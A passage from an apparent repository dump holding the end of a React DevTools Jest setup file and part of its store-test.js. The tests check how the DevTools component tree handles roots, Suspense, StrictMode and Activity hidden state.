Test environment doesn't support document methods like execCommand()\n  // Also once the backend components below have been required,\n  // it's too late for a test to mock the clipboard-js modules.\n  jest.mock('clipboard-js', () => ({copy: global.mockClipboardCopy}));\n\n  // These files should be required (and re-required) before each test,\n  // rather than imported at the head of the module.\n  // That's because we reset modules between tests,\n  // which disconnects the DevTool's cache from the current dispatcher ref.\n  const Agent = require('react-devtools-shared/src/backend/agent').default;\n  const {initBackend} = require('react-devtools-shared/src/backend');\n  const Bridge = require('react-devtools-shared/src/bridge').default;\n  const Store = require('react-devtools-shared/src/devtools/store').default;\n  const {installHook} = require('react-devtools-shared/src/hook');\n  const {\n    getDefaultComponentFilters,\n    setSavedComponentFilters,\n  } = require('react-devtools-shared/src/utils');\n\n  // Fake timers let us flush Bridge operations between setup and assertions.\n  jest.useFakeTimers();\n\n  // We use fake timers heavily in tests but the bridge batching now uses microtasks.\n  global.devtoolsJestTestScheduler = callback => {\n    setTimeout(callback, 0);\n  };\n\n  // Use utils.js#withErrorsOrWarningsIgnored instead of directly mutating this array.\n  global._ignoredErrorOrWarningMessages = [\n    'react-test-renderer is deprecated.',\n  ];\n\n  // Initialize filters to a known good state.\n  setSavedComponentFilters(getDefaultComponentFilters());\n\n  installHook(global, getDefaultComponentFilters(), {\n    appendComponentStack: true,\n    breakOnConsoleErrors: false,\n    showInlineWarningsAndErrors: true,\n    hideConsoleLogsInStrictMode: false,\n    disableSecondConsoleLogDimmingInStrictMode: false,\n  });\n\n  const bridgeListeners = [];\n  const bridge = new Bridge({\n    listen(callback) {\n      bridgeListeners.push(callback);\n      return () => {\n        const index = bridgeListeners.indexOf(callback);\n        if (index >= 0) {\n          bridgeListeners.splice(index, 1);\n        }\n      };\n    },\n    send(event: string, payload: any, transferable?: Array<any>) {\n      bridgeListeners.forEach(callback => callback({event, payload}));\n    },\n  });\n\n  const store = new Store(((bridge: any): FrontendBridge), {\n    supportsTimeline: true,\n  });\n\n  const agent = new Agent(((bridge: any): BackendBridge));\n  const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n  initBackend(hook, agent, global);\n\n  global.agent = agent;\n  global.bridge = bridge;\n  global.store = store;\n\n  const readFileSync = require('fs').readFileSync;\n  async function mockFetch(url) {\n    return {\n      ok: true,\n      status: 200,\n      text: async () => readFileSync(__dirname + url, 'utf-8'),\n    };\n  }\n  global.fetch = mockFetch;\n});\n\nafterEach(() => {\n  delete global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n  unpatchConsoleAfterTesting();\n\n  // It's important to reset modules between test runs;\n  // Without this, ReactDOM won't re-inject itself into the new hook.\n  // It's also important to reset after tests, rather than before,\n  // so that we don't disconnect the ReactCurrentDispatcher ref.\n  jest.resetModules();\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/store-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport semver from 'semver';\n\nimport {getVersionedRenderImplementation} from './utils';\nimport {ReactVersion} from '../../../../ReactVersions';\n\nconst ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;\n\ndescribe('Store', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let agent;\n  let act;\n  let actAsync;\n  let bridge;\n  let createDisplayNameFilter;\n  let getRendererID;\n  let legacyRender;\n  let previousComponentFilters;\n  let store;\n  let withErrorsOrWarningsIgnored;\n\n  function readValue(promise) {\n    if (typeof React.use === 'function') {\n      return React.use(promise);\n    }\n\n    // Support for React < 19.0\n    switch (promise.status) {\n      case 'fulfilled':\n        return promise.value;\n      case 'rejected':\n        throw promise.reason;\n      case 'pending':\n        throw promise;\n      default:\n        promise.status = 'pending';\n        promise.then(\n          value => {\n            promise.status = 'fulfilled';\n            promise.value = value;\n          },\n          reason => {\n            promise.status = 'rejected';\n            promise.reason = reason;\n          },\n        );\n        throw promise;\n    }\n  }\n\n  beforeAll(() => {\n    // JSDDOM doesn't implement getClientRects so we're just faking one for testing purposes\n    Element.prototype.getClientRects = function (this: Element) {\n      const textContent = this.textContent;\n      return [\n        new DOMRect(1, 2, textContent.length, textContent.split('\\n').length),\n      ];\n    };\n  });\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    agent = global.agent;\n    bridge = global.bridge;\n    store = global.store;\n\n    previousComponentFilters = store.componentFilters;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n\n    const utils = require('./utils');\n    act = utils.act;\n    actAsync = utils.actAsync;\n    getRendererID = utils.getRendererID;\n    legacyRender = utils.legacyRender;\n    createDisplayNameFilter = utils.createDisplayNameFilter;\n    withErrorsOrWarningsIgnored = utils.withErrorsOrWarningsIgnored;\n  });\n\n  afterEach(() => {\n    store.componentFilters = previousComponentFilters;\n  });\n\n  const {render, unmount, createContainer} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 18.0\n  it('should not allow a root node to be collapsed', async () => {\n    const Component = () => <div>Hi</div>;\n\n    await act(() => render(<Component count={4} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Component>\n    `);\n\n    expect(store.roots).toHaveLength(1);\n\n    const rootID = store.roots[0];\n\n    expect(() => store.toggleIsCollapsed(rootID, true)).toThrow(\n      'Root nodes cannot be collapsed',\n    );\n  });\n\n  // @reactVersion >= 18.0\n  it('should properly handle a root with no visible nodes', async () => {\n    const Root = ({children}) => children;\n\n    await act(() => render(<Root>{null}</Root>));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Root>\n    `);\n\n    await act(() => render(<div />));\n    expect(store).toMatchInlineSnapshot(`[root]`);\n  });\n\n  // This test is not the same cause as what's reported on GitHub,\n  // but the resulting behavior (owner mounting after descendant) is the same.\n  // Thec ase below is admittedly contrived and relies on side effects.\n  // I'mnot yet sure of how to reduce the GitHub reported production case to a test though.\n  // See https://github.com/facebook/react/issues/21445\n  // @reactVersion >= 18.0\n  it('should handle when a component mounts before its owner', async () => {\n    const promise = new Promise(resolve => {});\n\n    let Dynamic = null;\n    const Owner = () => {\n      Dynamic = <Child />;\n      readValue(promise);\n    };\n    const Parent = () => {\n      return Dynamic;\n    };\n    const Child = () => null;\n\n    await act(() =>\n      render(\n        <>\n          <React.Suspense fallback=\"Loading...\">\n            <Owner />\n          </React.Suspense>\n          <Parent />\n        </>,\n      ),\n    );\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Suspense>\n        ▾ <Parent>\n            <Child>\n      [suspense-root]  rects={null}\n        <Suspense name=\"Unknown\" uniqueSuspenders={true} rects={null}>\n    `);\n  });\n\n  // @reactVersion >= 18.0\n  it('should handle multibyte character strings', async () => {\n    const Component = () => null;\n    Component.displayName = '🟩💜🔵';\n\n    await act(() => render(<Component />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <🟩💜🔵>\n    `);\n  });\n\n  it('should handle reorder of filtered elements', async () => {\n    function IgnoreMePassthrough({children}) {\n      return children;\n    }\n    function PassThrough({children}) {\n      return children;\n    }\n\n    await actAsync(\n      async () =>\n        (store.componentFilters = [createDisplayNameFilter('^IgnoreMe', true)]),\n    );\n\n    await act(() => {\n      render(\n        <PassThrough key=\"e\" name=\"e\">\n          <IgnoreMePassthrough key=\"e1\">\n            <PassThrough name=\"e-child-one\">\n              <p>e1</p>\n            </PassThrough>\n          </IgnoreMePassthrough>\n          <IgnoreMePassthrough key=\"e2\">\n            <PassThrough name=\"e-child-two\">\n              <div>e2</div>\n            </PassThrough>\n          </IgnoreMePassthrough>\n        </PassThrough>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <PassThrough key=\"e\">\n          ▾ <PassThrough>\n              <p>\n          ▾ <PassThrough>\n              <div>\n    `);\n\n    await act(() => {\n      render(\n        <PassThrough key=\"e\" name=\"e\">\n          <IgnoreMePassthrough key=\"e2\">\n            <PassThrough name=\"e-child-two\">\n              <div>e2</div>\n            </PassThrough>\n          </IgnoreMePassthrough>\n          <IgnoreMePassthrough key=\"e1\">\n            <PassThrough name=\"e-child-one\">\n              <p>e1</p>\n            </PassThrough>\n          </IgnoreMePassthrough>\n        </PassThrough>,\n      );\n    });\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <PassThrough key=\"e\">\n          ▾ <PassThrough>\n              <div>\n          ▾ <PassThrough>\n              <p>\n    `);\n  });\n\n  describe('StrictMode compliance', () => {\n    it('should mark strict root elements as strict', async () => {\n      const App = () => <Component />;\n      const Component = () => null;\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container, {\n        unstable_strictMode: true,\n      });\n      await act(() => {\n        root.render(<App />);\n      });\n\n      expect(store.getElementAtIndex(0).isStrictModeNonCompliant).toBe(false);\n      expect(store.getElementAtIndex(1).isStrictModeNonCompliant).toBe(false);\n    });\n\n    // @reactVersion >= 18.0\n    it('should mark non strict root elements as not strict', async () => {\n      const App = () => <Component />;\n      const Component = () => null;\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<App />);\n      });\n\n      expect(store.getElementAtIndex(0).isStrictModeNonCompliant).toBe(true);\n      expect(store.getElementAtIndex(1).isStrictModeNonCompliant).toBe(true);\n    });\n\n    it('should mark StrictMode subtree elements as strict', async () => {\n      const App = () => (\n        <React.StrictMode>\n          <Component />\n        </React.StrictMode>\n      );\n      const Component = () => null;\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<App />);\n      });\n\n      expect(store.getElementAtIndex(0).isStrictModeNonCompliant).toBe(true);\n      expect(store.getElementAtIndex(1).isStrictModeNonCompliant).toBe(false);\n    });\n  });\n\n  describe('Activity hidden state', () => {\n    // @reactVersion >= 19\n    it('should mark Activity subtree elements as hidden when mode is hidden', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function Child() {\n        return <div>child</div>;\n      }\n\n      function App({hidden}) {\n        return (\n          <Activity mode={hidden ? 'hidden' : 'visible'}>\n            <Child />\n          </Activity>\n        );\n      }\n\n      await actAsync(() => {\n        render(<App hidden={true} />);\n      });\n\n      // Activity element should be marked as hidden and collapsed\n      const activityElement = store.getElementAtIndex(1);\n      expect(activityElement.displayName).toBe('Activity');\n      expect(activityElement.isActivityHidden).toBe(true);\n      expect(activityElement.isInsideHiddenActivity).toBe(false);\n      expect(activityElement.isCollapsed).toBe(true);\n\n      // Expand to access children\n      store.toggleIsCollapsed(activityElement.id, false);\n\n      // Children should still be in the tree but marked as inside hidden Activity\n      const childElement = store.getElementAtIndex(2);\n      expect(childElement.displayName).toBe('Child');\n      expect(childElement.isInsideHiddenActivity).toBe(true);\n    });\n\n    // @reactVersion >= 19\n    it('should not mark Activity subtree as hidden when mode is visible', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function Child() {\n        return <div>child</div>;\n      }\n\n      function App() {\n        return (\n          <Activity mode=\"visible\">\n            <Child />\n          </Activity>\n        );\n      }\n\n      await actAsync(() => {\n        render(<App />);\n      });\n\n      const activityElement = store.getElementAtIndex(1);\n      expect(activityElement.displayName).toBe('Activity');\n      expect(activityElement.isActivityHidden).toBe(false);\n      expect(activityElement.isInsideHiddenActivity).toBe(false);\n      expect(activityElement.isCollapsed).toBe(false);\n\n      const childElement = store.getElementAtIndex(2);\n      expect(childElement.displayName).toBe('Child');\n      expect(childElement.isInsideHiddenActivity).toBe(false);\n    });\n\n    // @reactVersion >= 19\n    it('should update hidden state when Activity mode toggles', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function Child() {\n        return <div>child</div>;\n      }\n\n      function App({hidden}) {\n        return (\n          <Activity mode={hidden ? 'hidden' : 'visible'}>\n            <Child />\n          </Activity>\n        );\n      }\n\n      // Start visible\n      await actAsync(() => {\n        render(<App hidden={false} />);\n      });\n\n      let activityElement = store.getElementAtIndex(1);\n      expect(activityElement.isActivityHidden).toBe(false);\n      expect(activityElement.isCollapsed).toBe(false);\n\n      let childElement = store.getElementAtIndex(2);\n      expect(childElement.isInsideHiddenActivity).toBe(false);\n\n      // Toggle to hidden — children remain but subtree collapses\n      await actAsync(() => {\n        render(<App hidden={true} />);\n      });\n\n      activityElement = store.getElementAtIndex(1);\n      expect(activityElement.isActivityHidden).toBe(true);\n      expect(activityElement.isCollapsed).toBe(true);\n\n      // Expand to verify children are still marked\n      store.toggleIsCollapsed(activityElement.id, false);\n\n      childElement = store.getElementAtIndex(2);\n      expect(childElement.displayName).toBe('Child');\n      expect(childElement.isInsideHiddenActivity).toBe(true);\n\n      // Toggle back to visible — subtree expands automatically\n      await actAsync(() => {\n        render(<App hidden={false} />);\n      });\n\n      activityElement = store.getElementAtIndex(1);\n      expect(activityElement.isActivityHidden).toBe(false);\n      expect(activityElement.isCollapsed).toBe(false);\n\n      childElement = store.getElementAtIndex(2);\n      expect(childElement.isInsideHiddenActivity).toBe(false);\n    });\n\n    // @reactVersion >= 19\n    it('should propagate hidden state to deeply nested children', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function GrandChild() {\n        return <div>grandchild</div>;\n      }\n      function Child() {\n        return <GrandChild />;\n      }\n\n      function App({hidden}) {\n        return (\n          <Activity mode={hidden ? 'hidden' : 'visible'}>\n            <Child />\n          </Activity>\n        );\n      }\n\n      await actAsync(() => {\n        render(<App hidden={true} />);\n      });\n\n      const activityElement = store.getElementAtIndex(1);\n      expect(activityElement.displayName).toBe('Activity');\n      expect(activityElement.isActivityHidden).toBe(true);\n      expect(activityElement.isCollapsed).toBe(true);\n\n      // Expand to access children\n      store.toggleIsCollapsed(activityElement.id, false);\n\n      const childElement = store.getElementAtIndex(2);\n      expect(childElement.displayName).toBe('Child');\n      expect(childElement.isInsideHiddenActivity).toBe(true);\n\n      const grandChildElement = store.getElementAtIndex(3);\n      expect(grandChildElement.displayName).toBe('GrandChild');\n      expect(grandChildElement.isInsideHiddenActivity).toBe(true);\n    });\n\n    // @reactVersion >= 19\n    it('should collapse hidden Activity subtree by default', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function Child() {\n        return <div>child</div>;\n      }\n\n      function App({hidden}) {\n        return (\n          <Activity mode={hidden ? 'hidden' : 'visible'}>\n            <Child />\n          </Activity>\n        );\n      }\n\n      // Hidden Activity should be collapsed\n      await actAsync(() => {\n        render(<App hidden={true} />);\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▸ <Activity mode=\"hidden\">\n      `);\n\n      // Toggle to visible — should expand\n      await actAsync(() => {\n        render(<App hidden={false} />);\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Activity mode=\"visible\">\n                <Child>\n      `);\n\n      // Toggle back to hidden — should collapse again\n      await actAsync(() => {\n        render(<App hidden={true} />);\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▸ <Activity mode=\"hidden\">\n      `);\n    });\n\n    // @reactVersion >= 19\n    it('should dim nested visible Activity inside a hidden Activity', async () => {\n      const Activity = React.Activity || React.unstable_Activity;\n\n      function Leaf() {\n        return <div>leaf</div>;\n      }\n\n      function App() {\n        return (\n          <Activity mode=\"hidden\" name=\"outer\">\n            <Activity mode=\"visible\" name=\"inner\">\n              <Leaf />\n            </Activity>\n          </Activity>\n        );\n      }\n\n      await actAsync(() => {\n        render(<App />);\n      });\n\n      // Outer Activity: hidden, collapsed, not dimmed itself\n      const outerActivity = store.getElementAtIndex(1);\n      expect(outerActivity.displayName).toBe('Activity');\n      expect(outerActivity.nameProp).toBe('outer');\n      expect(outerActivity.isActivityHidden).toBe(true);\n      expect(outerActivity.isInsideHiddenActivity).toBe(false);\n      expect(outerActivity.isCollapsed).toBe(true);\n\n      // Expand to access inner elements\n      store.toggleIsCollapsed(outerActivity.id, false);\n\n      // Inner Activity: visible, but inside hidden outer so still dimmed\n      const innerActivity = store.getElementAtIndex(2);\n      expect(innerActivity.displayName).toBe('Activity');\n      expect(innerActivity.nameProp).toBe('inner');\n      expect(innerActivity.isActivityHidden).toBe(false);\n      expect(innerActivity.isInsideHiddenActivity).toBe(true);\n\n      // Leaf: inside both, dimmed\n      const leaf = store.getElementAtIndex(3);\n      expect(leaf.displayName).toBe('Leaf');\n      expect(leaf.isInsideHiddenActivity).toBe(true);\n    });\n  });\n\n  describe('collapseNodesByDefault:false', () => {\n    beforeEach(() => {\n      store.collapseNodesByDefault = false;\n    });\n\n    // @reactVersion >= 18.0\n    it('should support mount and update operations', async () => {\n      const Grandparent = ({count}) => (\n        <React.Fragment>\n          <Parent count={count} />\n          <Parent count={count} />\n        </React.Fragment>\n      );\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      await act(() => render(<Grandparent count={4} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n                <Child key=\"2\">\n                <Child key=\"3\">\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n                <Child key=\"2\">\n                <Child key=\"3\">\n      `);\n\n      await act(() => render(<Grandparent count={2} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n      `);\n\n      await act(() => unmount());\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19\n    // @gate !disableLegacyMode\n    it('should support mount and update operations for multiple roots (legacy render)', async () => {\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n\n      await act(() => {\n        legacyRender(<Parent key=\"A\" count={3} />, containerA);\n        legacyRender(<Parent key=\"B\" count={2} />, containerB);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n        [root]\n          ▾ <Parent key=\"B\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n      `);\n\n      await act(() => {\n        legacyRender(<Parent key=\"A\" count={4} />, containerA);\n        legacyRender(<Parent key=\"B\" count={1} />, containerB);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n              <Child key=\"3\">\n        [root]\n          ▾ <Parent key=\"B\">\n              <Child key=\"0\">\n      `);\n\n      await act(() => ReactDOM.unmountComponentAtNode(containerB));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n              <Child key=\"3\">\n      `);\n\n      await act(() => ReactDOM.unmountComponentAtNode(containerA));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support mount and update operations for multiple roots (createRoot)', async () => {\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n\n      const rootA = ReactDOMClient.createRoot(containerA);\n      const rootB = ReactDOMClient.createRoot(containerB);\n\n      await act(() => {\n        rootA.render(<Parent key=\"A\" count={3} />);\n        rootB.render(<Parent key=\"B\" count={2} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n        [root]\n          ▾ <Parent key=\"B\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n      `);\n\n      await act(() => {\n        rootA.render(<Parent key=\"A\" count={4} />);\n        rootB.render(<Parent key=\"B\" count={1} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n              <Child key=\"3\">\n        [root]\n          ▾ <Parent key=\"B\">\n              <Child key=\"0\">\n      `);\n\n      await act(() => rootB.unmount());\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent key=\"A\">\n              <Child key=\"0\">\n              <Child key=\"1\">\n              <Child key=\"2\">\n              <Child key=\"3\">\n      `);\n\n      await act(() => rootA.unmount());\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    it('should filter DOM nodes from the store tree', async () => {\n      const Grandparent = () => (\n        <div>\n          <div>\n            <Parent />\n          </div>\n          <Parent />\n        </div>\n      );\n      const Parent = () => (\n        <div>\n          <Child />\n        </div>\n      );\n      const Child = () => <div>Hi!</div>;\n\n      await act(() => render(<Grandparent count={4} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child>\n            ▾ <Parent>\n                <Child>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should display Suspense nodes properly in various states', async () => {\n      const Loading = () => <div>Loading...</div>;\n      const never = new Promise(() => {});\n      const SuspendingComponent = () => {\n        readValue(never);\n      };\n      const Component = () => {\n        return <div>Hello</div>;\n      };\n      const Wrapper = ({shouldSuspense}) => (\n        <React.Fragment>\n          <Component key=\"Outside\" />\n          <React.Suspense fallback={<Loading />}>\n            {shouldSuspense ? (\n              <SuspendingComponent />\n            ) : (\n              <Component key=\"Inside\" />\n            )}\n          </React.Suspense>\n        </React.Fragment>\n      );\n\n      await act(() => render(<Wrapper shouldSuspense={true} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense>\n                <Loading>\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      await act(() => {\n        render(<Wrapper shouldSuspense={false} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense>\n                <Component key=\"Inside\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support nested Suspense nodes', async () => {\n      const Component = () => null;\n      const Loading = () => <div>Loading...</div>;\n      const never = new Promise(() => {});\n      const Never = () => {\n        readValue(never);\n      };\n\n      const Wrapper = ({\n        suspendFirst = false,\n        suspendSecond = false,\n        suspendParent = false,\n      }) => (\n        <React.Fragment>\n          <Component key=\"Outside\" />\n          <React.Suspense\n            name=\"parent\"\n            fallback={<Loading key=\"Parent Fallback\" />}>\n            <Component key=\"Unrelated at Start\" />\n            <React.Suspense\n              name=\"one\"\n              fallback={<Loading key=\"Suspense 1 Fallback\" />}>\n              {suspendFirst ? (\n                <Never />\n              ) : (\n                <Component key=\"Suspense 1 Content\" />\n              )}\n            </React.Suspense>\n            <React.Suspense\n              name=\"two\"\n              fallback={<Loading key=\"Suspense 2 Fallback\" />}>\n              {suspendSecond ? (\n                <Never />\n              ) : (\n                <Component key=\"Suspense 2 Content\" />\n              )}\n            </React.Suspense>\n            <React.Suspense\n              name=\"three\"\n              fallback={<Loading key=\"Suspense 3 Fallback\" />}>\n              <Never />\n            </React.Suspense>\n            {suspendParent && <Never />}\n            <Component key=\"Unrelated at End\" />\n          </React.Suspense>\n        </React.Fragment>\n      );\n\n      await actAsync(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={false}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={false} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={false} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={true}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={false} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={false}\n            suspendSecond={true}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Loading key=\"Suspense 2 Fallback\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={true}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={true}\n            suspendFirst={true}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Loading key=\"Parent Fallback\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={true}\n            suspendSecond={true}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Loading key=\"Suspense 2 Fallback\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at 